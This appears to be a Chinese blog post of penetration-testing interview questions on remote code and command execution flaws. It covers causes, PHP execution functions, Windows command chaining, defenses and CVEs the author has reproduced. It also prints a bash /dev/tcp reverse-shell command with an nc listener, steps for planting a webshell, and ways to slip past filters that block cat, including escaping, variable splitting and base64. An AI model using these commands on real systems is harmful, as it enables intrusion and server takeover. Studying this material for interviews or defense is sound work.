当前位置: 首页 > news >正文

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(十)RCE (远程代码/命令执行漏洞)相关面试题

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

渗透方向的岗位,涉及到的知识点是很广泛的。
这里我总结了整个一系列的面试题,可能没有覆盖到全部的知识面,但是应该是比较全面的,本文主讲解web漏洞RCE (远程代码/命令执行漏洞)方向的面试题。
如果整个系列的问题搞懂了大部分,那找个网安方向的工作基本上没什么问题了。
当然了,可能也不是说这些问题都会被问到,但这些题目都是和网安岗位相契合的。

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(一)SQL注入相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(二)XSS注入相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(三)CSRF相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(四)SSRF相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(五)文件上传相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(六)文件包含相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(七)逻辑漏洞相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(八)暴力破解相关面试题

[ 渗透测试面试篇 ] 渗透测试面试题大集合(详解)(九)XXE 相关面试题

文章目录

  • 🍬 博主介绍
  • 1、远程命令执行漏洞原理是什么?
  • 2、远程代码执行漏洞原理是什么?
  • 3、RCE漏洞有什么危害?
  • 4、RCE漏洞对你来说有什么作用?
  • 5、php能远程执行的函数有哪些?
    • 1.命令执行的函数:
    • 2.代码执行的两个函数:
  • 6、能讲一下preg_replace触发漏洞的前提吗?
  • 7、能讲一下windows系统命令拼接方式吗?
    • 1.|
    • 2.&
    • 3.||
    • 4.&&
  • 8、能讲一下RCE的防御措施吗?
  • 9、你复现过哪些RCE漏洞,你会自己搭建漏洞环境吗?
  • 10、一个站点存在RCE漏洞,如何getshell?
  • 11、一个站点RCE存在漏洞,怎么利用webshell进行连接?
  • 12、你想要查看某个文件,你发现cat被过滤了,怎么办?
    • 1.使用其他命令代替:
    • 2.使用转义符
    • 3.变量绕过
    • 4.编码进制绕过

1、远程命令执行漏洞原理是什么?

1、一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。
2、比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。
3、如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
4、现在很多的企业都开始实施自动化运维,大量的系统操作会通过"自动化运维平台"进行操作。在这种平台上往往会出现远程系统命令执行的漏洞。

2、远程代码执行漏洞原理是什么?

1、因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
2、不管是使用了代码执行的函数,还是使用了不安全的反序列化等等,都可能造成远程代码执行漏洞。
3、如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。

3、RCE漏洞有什么危害?

1、获取服务器权限。
2、获取敏感数据文件。
3、写入恶意文件getshell。
4、植入木马病毒勒索软件。

4、RCE漏洞对你来说有什么作用?

我能利用RCE漏洞,向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

5、php能远程执行的函数有哪些?

1.命令执行的函数:

1. system:执行一个外部的应用程序并显示输出的结果
2. exec:执行一个外部的应用程序
3. shell_exec:执行shell命令并返回输出的结果的字符串
4. passthru:执行一个UNIX系统命令并显示原始的输出
5. popen()
6. proc_popen()

2.代码执行的两个函数:

1.eval(PHP代码)
2.assert(PHP代码)
3.preg_replace
4.call_user_func()和array_map()

6、能讲一下preg_replace触发漏洞的前提吗?

preg_replace函数第一个参数存在e修饰符时,第二个参数和第三个参数可能当作PHP代码被执行。

preg_replace漏洞触发有两个前提:
1、第一个参数需要e标识符,有了它可以执行第二个参数的命令。
2、第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。

7、能讲一下windows系统命令拼接方式吗?

windows系统命令拼接一般我们是需要用后面的语句来进行攻击,所以首选|,如果被过滤了在考虑其他方式。有如下几种方式:

1.|

管道符,前面命令标准输出,后面命令的标准输入。直接执行后面的语句。
例如:ping 127.0.0.1|whoami直接执行whoami。

2.&

前面的语句为假则执行后面的语句。
例如:commandA & commandB 先运行命令A,然后运行命令B。

3.||

前面的语句执行出错则执行后面的语句。
例如:commandA || commandB 运行命令A,如果失败则运行命令B。

4.&&

前面的语句为假,直接出错,前面的语句为真,执行后面的语句。
例如:commandA && commandB 运行命令A,如果成功则运行命令B。

8、能讲一下RCE的防御措施吗?

1、尽量不要使用命令执行函数。
2、不要让用户控制参数。
3、执行前做好检测和过滤。

9、你复现过哪些RCE漏洞,你会自己搭建漏洞环境吗?

我复现过很多漏洞,一般使用在线复现环境或者使用vulhub漏洞环境,如果找不到漏洞环境我会自己搭建环境。

1、struts2全系列RCE漏洞。
2、solr远程命令执行CVE-2019-17558、CVE-2019-0193。
3、Log4j2远程代码执行漏洞复现cve-2021-44228。
4、Spring Framework远程代码执行漏洞CVE-2022-22965
5、Oracle WebLogic Server远程代码执行CVE-2022-21306
6、JBOSS反序列化漏洞复现CVE-2017-12149、CVE-2017-7504
......

10、一个站点存在RCE漏洞,如何getshell?

反弹shell就行了,我一般使用bash反弹shell,有时候也会用nc或者python。
举例:
本地我采用nc监听

nc -lvvp 端口

远程执行命令

bash -i >& /dev/tcp/本地监听IP/本地监听端口 0>&1

进行exec编码之后就可以远程执行了。

11、一个站点RCE存在漏洞,怎么利用webshell进行连接?

1、找到他的web路径。
2、使用touch命令在web目录创建一个webshell文件。
3、然后使用ehco命令在webshell文件里面写入webshell代码。
4、然后使用chmod命令给文件增加777权限。
5、最后采用菜刀蚁剑等webshell连接工具进行连接。

12、你想要查看某个文件,你发现cat被过滤了,怎么办?

如果只过滤了了cat,有很多绕过方式,我这里随便举几个例子。

1.使用其他命令代替:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
sh /flag 2>%261  //报错出文件内容

2.使用转义符

ca\t 文件名

3.变量绕过

a=c;b=a;c=t;
$a$b$c 文件名

4.编码进制绕过

如下,先对命令进行编码或者做进制处理,然后再执行。这里我才用了base64编码。

echo 'cat' | base64
`echo 'Y2F0wqAK' | base64 -d` 文件名

相关文章:

  • C# Winform 三层架构
  • Opencv项目实战:18 人体姿态检测
  • MySQL修改表结构原理
  • 还在手动发早安吗?教你用java实现每日给女友微信发送早安
  • 【圣诞节】飘雪圣诞树
  • Python圣诞树
  • 【C与数据结构】——寒假提高每日练习Day1
  • 拦截器与过滤器
  • Web前端105天-day63-HTML5_CORE
  • Golang后端开发学习之路
  • C++——STL之stack和queue详解
  • 结构体嵌套函数指针
  • 基于Xlinx的时序分析与约束(4)----主时钟约束
  • Arcgis使用教程(十三)ARCGIS地图制图之地图输出参数设置详解
  • QT中Qthread线程彻底销毁的实例与注意事项(防止线程资源内存泄露)
  • [分享]iOS开发-关于在xcode中引用文件夹右边出现问号的解决办法
  • 《用数据讲故事》作者Cole N. Knaflic:消除一切无效的图表
  • 【MySQL经典案例分析】 Waiting for table metadata lock
  • android图片蒙层
  •  D - 粉碎叛乱F - 其他起义
  • es6
  • IDEA常用插件整理
  • iOS小技巧之UIImagePickerController实现头像选择
  • js中forEach回调同异步问题
  • Magento 1.x 中文订单打印乱码
  • nginx(二):进阶配置介绍--rewrite用法,压缩,https虚拟主机等
  • React16时代,该用什么姿势写 React ?
  • RedisSerializer之JdkSerializationRedisSerializer分析
  • vue 个人积累(使用工具,组件)
  • vue--为什么data属性必须是一个函数
  • 短视频宝贝=慢?阿里巴巴工程师这样秒开短视频
  • 干货 | 以太坊Mist负责人教你建立无服务器应用
  • 排序算法学习笔记
  • 王永庆:技术创新改变教育未来
  • 继 XDL 之后,阿里妈妈开源大规模分布式图表征学习框架 Euler ...
  • ###51单片机学习(2)-----如何通过C语言运用延时函数设计LED流水灯
  • #pragma 指令
  • #我与Java虚拟机的故事#连载08:书读百遍其义自见
  • ( 10 )MySQL中的外键
  • (cos^2 X)的定积分,求积分 ∫sin^2(x) dx
  • (笔记)Kotlin——Android封装ViewBinding之二 优化
  • (附源码)计算机毕业设计SSM智能化管理的仓库管理
  • (十六)串口UART
  • (转)AS3正则:元子符,元序列,标志,数量表达符
  • ***测试-HTTP方法
  • .FileZilla的使用和主动模式被动模式介绍
  • .h头文件 .lib动态链接库文件 .dll 动态链接库
  • .NET 8.0 中有哪些新的变化?
  • .NET 设计模式—简单工厂(Simple Factory Pattern)
  • .net 托管代码与非托管代码
  • .net生成的类,跨工程调用显示注释
  • .NET学习全景图
  • .net专家(高海东的专栏)
  • @Mapper作用
  • [16/N]论得趣